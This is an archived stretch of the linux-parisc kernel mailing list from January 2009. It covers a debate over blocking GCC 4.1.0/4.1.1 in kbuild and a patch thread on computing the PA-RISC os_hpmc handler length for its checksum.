Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Sat, 03 Jan 2009 09:27:33 +1100
Lines: 24
Approved: news@gmane.org
Message-ID: <1230935253.15389.99.camel@pasglop>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
	 <20081231105425.9ccac21d.akpm@linux-foundation.org>
	 <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain>
	 <20081231.141408.60544902.davem@davemloft.net>
	 <20090102115547.GB3027@elte.hu>
	 <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain>
	 <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain>
	 <20090102175737.GA5818@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230935464 30257 80.91.229.12 (2 Jan 2009 22:31:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 22:31:04 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 23:32:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIsYq-0000Zb-PF
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 23:32:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753307AbZABWaw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 17:30:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752943AbZABWaw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 17:30:52 -0500
Original-Received: from gate.crashing.org ([63.228.1.57]:37646 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750974AbZABWav (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 17:30:51 -0500
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id n02MRYck012098;
	Fri, 2 Jan 2009 16:27:35 -0600
In-Reply-To: <20090102175737.GA5818@uranus.ravnborg.org>
X-Mailer: Evolution 2.24.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1122 gmane.linux.kernel:774616
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1122>


> 
> Bugger....
> Now I cannot do cross compile for: alpha, arm, m68k and sparc.
> 
> Not that I actually try to run these beasts but just being able
> to do cross compile has served me well.
> 
> Last I looked (only few days ago) crosstool-ng did not support sparc :-(

There are also various variants of 4.1.1 around with the fix for
that inline bug backported (I think that's the case of the compiler
that ships with the Cell SDK for example).

What a f. mess :-(

Cheers,
Ben.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 23:37:16 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20090102223716.GC8843@uranus.ravnborg.org>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102175737.GA5818@uranus.ravnborg.org> <1230935253.15389.99.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230935769 31028 80.91.229.12 (2 Jan 2009 22:36:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 22:36:09 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 23:37:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIsdm-00026U-3G
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 23:37:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757251AbZABWfn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 17:35:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757683AbZABWfn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 17:35:43 -0500
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:55314 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757251AbZABWfm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 17:35:42 -0500
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id 56D32A50041;
	Fri,  2 Jan 2009 23:35:34 +0100 (CET)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 9F084580D0; Fri,  2 Jan 2009 23:37:16 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1230935253.15389.99.camel@pasglop>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1123 gmane.linux.kernel:774622
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1123>

On Sat, Jan 03, 2009 at 09:27:33AM +1100, Benjamin Herrenschmidt wrote:
> 
> > 
> > Bugger....
> > Now I cannot do cross compile for: alpha, arm, m68k and sparc.
> > 
> > Not that I actually try to run these beasts but just being able
> > to do cross compile has served me well.
> > 
> > Last I looked (only few days ago) crosstool-ng did not support sparc :-(
> 
> There are also various variants of 4.1.1 around with the fix for
> that inline bug backported (I think that's the case of the compiler
> that ships with the Cell SDK for example).
> 

We could add a feature check during the early phase of the
kernel build so we know if gcc has this bug or not.

But this would be the first time to do so IIRC - today we only
do some limited check to see if certain options are supported.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 22:52:03 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <20090102225203.GK28946@ZenIV.linux.org.uk>
References: <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102175737.GA5818@uranus.ravnborg.org> <alpine.LFD.2.00.0901021000020.5086@localhost.localdomain> <20090102185148.GI28946@ZenIV.linux.org.uk> <87mye9jz9p.fsf@basil.nowhere.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230936761 1034 80.91.229.12 (2 Jan 2009 22:52:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 22:52:41 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>, Ingo Molnar <mingo@elte.hu>,
	David Miller <davem@davemloft.net>,
	Andrew Morton <akpm@linux-foundation.org>, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Andi Kleen <andi@firstfloor.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 23:53:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIstl-0006dX-Qj
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 23:53:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757073AbZABWw3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 17:52:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756811AbZABWw2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 17:52:28 -0500
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:50190 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753307AbZABWw2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 17:52:28 -0500
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LIss7-0007yw-9X; Fri, 02 Jan 2009 22:52:03 +0000
Content-Disposition: inline
In-Reply-To: <87mye9jz9p.fsf@basil.nowhere.org>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1124 gmane.linux.kernel:774629
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1124>

On Fri, Jan 02, 2009 at 08:14:58PM +0100, Andi Kleen wrote:
> Al Viro <viro@ZenIV.linux.org.uk> writes:
> >
> > FWIW, I'm using 4.3 on all targets at the moment.  See
> > git://git.kernel.org/pub/scm/linux/kernel/git/viro/toolchain.git/
> > for fedora-based variant of that sucker.  And yes, it does include
> > cross-to-sparc; all but sh/sh64, in fact (sh had serious compiler
> > breakage around 4.3.0 and backporting from -HEAD was far beyond
> > what I considered reasonable at that point).
> 
> The full opensuse distribution also has a couple of spec files for
> generating cross compilers from recent versions. These are for
> icecream, but can be relatively easily adapted (or the binaries
> reused)
> 
> In general I don't think building cross compilers is as hard
> as it used to be, so it can be reasonably done without any support
> scripts too.

*snort*

Well, the only support script here is "call rpmbuild with the right
arguments" (and kmk, which is about running kernel cross-build
conveniently and has nothing to do with building cross-toolchain
itself).

I'll need to update that to more current gcc anyway (and see if that
takes care of sh/sh64), so if you can dig those .spec out... throw
them my way and I'll add them to repository.

How well do they handle the targets for which you have no glibc-dev
binary rpms, BTW?  I needed headers for ia64 and ppc64; both fortunately
are among the generally supported targets...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Fri, 2 Jan 2009 19:09:57 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <20090103000957.E7EE74E99@hiauly1.hia.nrc.ca>
References: <20090102211844.GC17486@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230941412 12562 80.91.229.12 (3 Jan 2009 00:10:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 00:10:12 +0000 (UTC)
Cc: kyle@infradead.org, gmsoft@tuxicoman.be, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 01:11:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIu6p-0002Gm-KY
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 01:11:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757281AbZACAKB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 19:10:01 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757605AbZACAKB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 19:10:01 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2659 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757281AbZACAKA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 19:10:00 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E7EE74E99; Fri,  2 Jan 2009 19:09:57 -0500 (EST)
In-Reply-To: <20090102211844.GC17486@bombadil.infradead.org> from "Kyle McMartin" at Jan 2, 2009 04:18:44 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1125
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1125>

> I think we've been over this before ;-)

One safe way to compute this difference is using a difference
of local labels in .data.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Fri, 2 Jan 2009 19:44:54 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <20090103004454.GC5181@bombadil.infradead.org>
References: <20090102211844.GC17486@bombadil.infradead.org> <20090103000957.E7EE74E99@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230943514 17305 80.91.229.12 (3 Jan 2009 00:45:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 00:45:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, gmsoft@tuxicoman.be,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 01:46:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIuek-0001zc-G3
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 01:46:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757952AbZACApF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 19:45:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757987AbZACApF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 19:45:05 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:35212 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757952AbZACApD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 19:45:03 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LIudK-00011R-HG; Sat, 03 Jan 2009 00:44:54 +0000
Content-Disposition: inline
In-Reply-To: <20090103000957.E7EE74E99@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1126
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1126>

On Fri, Jan 02, 2009 at 07:09:57PM -0500, John David Anglin wrote:
> > I think we've been over this before ;-)
> 
> One safe way to compute this difference is using a difference
> of local labels in .data.
> 

Something like this? Sorry, I've almost completely forgotten gas syntax
and all that jazz...

I seem to recall writing a patch to dump the first 16 insns of os_hpmc
from the check_ivt call, and found that it was working sensibly on
64-bit.

regards, Kyle

diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index 2cbf13b..02e41da 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -295,5 +295,9 @@ os_hpmc_6:
 	b .
 	nop
 ENDPROC(os_hpmc)
-ENTRY(os_hpmc_end)	/* this label used to compute os_hpmc checksum */
+ENTRY(os_hpmc_end)
 	nop
+.data
+	.export os_hpmc_size
+os_hpmc_size:
+	.word os_hpmc_end-os_hpmc
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 4c771cd..5cb66ac 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -821,8 +821,8 @@ void handle_interruption(int code, struct pt_regs *regs)
 
 int __init check_ivt(void *iva)
 {
-	extern const u32 os_hpmc[];
-	extern const u32 os_hpmc_end[];
+	extern u32 os_hpmc_size;
+	extern u32 os_hpmc[];
 
 	int i;
 	u32 check = 0;
@@ -839,8 +839,7 @@ int __init check_ivt(void *iva)
 	    *ivap++ = 0;
 
 	/* Compute Checksum for HPMC handler */

From - Thu Nov 08 21:03:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Fri, 2 Jan 2009 20:24:50 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <20090103012450.C6B5B4E99@hiauly1.hia.nrc.ca>
References: <20090103004454.GC5181@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230945906 22390 80.91.229.12 (3 Jan 2009 01:25:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 01:25:06 +0000 (UTC)
Cc: kyle@infradead.org, gmsoft@tuxicoman.be, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 02:26:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIvHG-0002eU-F9
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 02:26:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758327AbZACBYx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 20:24:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758529AbZACBYx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 20:24:53 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3114 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758327AbZACBYx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 20:24:53 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C6B5B4E99; Fri,  2 Jan 2009 20:24:50 -0500 (EST)
In-Reply-To: <20090103004454.GC5181@bombadil.infradead.org> from "Kyle McMartin" at Jan 2, 2009 07:44:54 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1127
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1127>

> Something like this? Sorry, I've almost completely forgotten gas syntax
> and all that jazz...

Yes.  The gas syntax looks correct except you probably should add a
.align 4.  I would use local labels (that's what's what is done for
debug and exception info).  Just place the local labels adjacent to
os_hpmc and os_hpmc_end.  This ensures the diff is absolute.

> -ENTRY(os_hpmc_end)	/* this label used to compute os_hpmc checksum */
> +ENTRY(os_hpmc_end)

Probably, you don't need to export os_hpmc_end.

> -	length = os_hpmc_end - os_hpmc;
> +	length = os_hpmc_size * sizeof(u32);

I believe the size will be correct without multiplying by sizeof(u32).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Fri, 2 Jan 2009 20:27:30 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20090103012730.GF5181@bombadil.infradead.org>
References: <20090103004454.GC5181@bombadil.infradead.org> <20090103012450.C6B5B4E99@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230946076 22742 80.91.229.12 (3 Jan 2009 01:27:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 01:27:56 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, gmsoft@tuxicoman.be,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 02:29:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIvJu-0002zl-C1
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 02:28:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758428AbZACB1i (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 20:27:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758672AbZACB1i
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 20:27:38 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49729 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758428AbZACB1h (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 20:27:37 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LIvIY-0005uR-5y; Sat, 03 Jan 2009 01:27:30 +0000
Content-Disposition: inline
In-Reply-To: <20090103012450.C6B5B4E99@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1128
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1128>

On Fri, Jan 02, 2009 at 08:24:50PM -0500, John David Anglin wrote:
> > Something like this? Sorry, I've almost completely forgotten gas syntax
> > and all that jazz...
> 
> Yes.  The gas syntax looks correct except you probably should add a
> .align 4.  I would use local labels (that's what's what is done for
> debug and exception info).  Just place the local labels adjacent to
> os_hpmc and os_hpmc_end.  This ensures the diff is absolute.
> 

Ahh, excellent. Thanks.

> > -ENTRY(os_hpmc_end)	/* this label used to compute os_hpmc checksum */
> > +ENTRY(os_hpmc_end)
> 
> Probably, you don't need to export os_hpmc_end.
> 

Indeed.

> > -	length = os_hpmc_end - os_hpmc;
> > +	length = os_hpmc_size * sizeof(u32);
> 
> I believe the size will be correct without multiplying by sizeof(u32).
> 

Ah, indeed. Good point.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] export length of os_hpmc vector
Date: Fri, 2 Jan 2009 20:35:40 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <20090103013540.GG5181@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230946551 23743 80.91.229.12 (3 Jan 2009 01:35:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 01:35:51 +0000 (UTC)
